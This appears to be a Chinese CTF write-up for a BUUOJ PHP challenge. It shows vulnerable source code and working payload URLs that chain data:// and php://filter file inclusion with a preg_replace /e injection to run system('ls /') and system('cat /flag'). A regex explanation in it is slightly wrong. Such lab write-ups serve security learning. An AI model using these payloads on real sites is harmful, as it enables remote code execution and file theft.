代码分析
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
在该PHP
中接收text
和file
两个参数,其中只有当text
的内容为I have a dream
时,才执行if
语句中的内容。
在if
语句中,首先读取并输出text
中的内容,即I have a dream
,随后判断参数file
是否为flag
,如果是,则输出Not Now!
,并终止程序,如果不是,则执行include
文件读取漏洞
操作实践
很明显代码中对text
的内容和file
的值进行了约束,首先我们需要对将I have a dream
写入text
中,在这里我们使用代码
?text = data://text/plain,I have a dream
然后考虑对file
进行赋值,在代码代码中提示了next.php
这个文件,我们很自然的想到了对next.php
进行读取操作
首次尝试payload:
http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81?text=data://text/plain,I have a dream&file=next.php
回显页面为:
next.php
内容没有显示,此时想到使用base-64编码再次尝试:
http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
得到回显页面:
其中一长串就是next.php
中的内容,解码得:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
在该代码中涉及另一个参数id
,且还有preg_replace() /e
代码执行漏洞(一开始我也毫无头绪,由于之前没接触过preg_replace
函数,顺手搜了一下,就发现这是个代码执行漏洞,详情可参考:preg_replace() /e代码执行漏洞),在这里我们利用该漏洞直接上传\s*
参数,因为上传其他的参数会被解析过滤,而\s
是表示匹配非空格以外的所有字符,所以构造payload
http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system('ls /');
得到主目录的文件列表:
然后获取flag文件内容:
http://e193796b-be3f-4a1c-8f41-31ba222850de.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
得到flag
: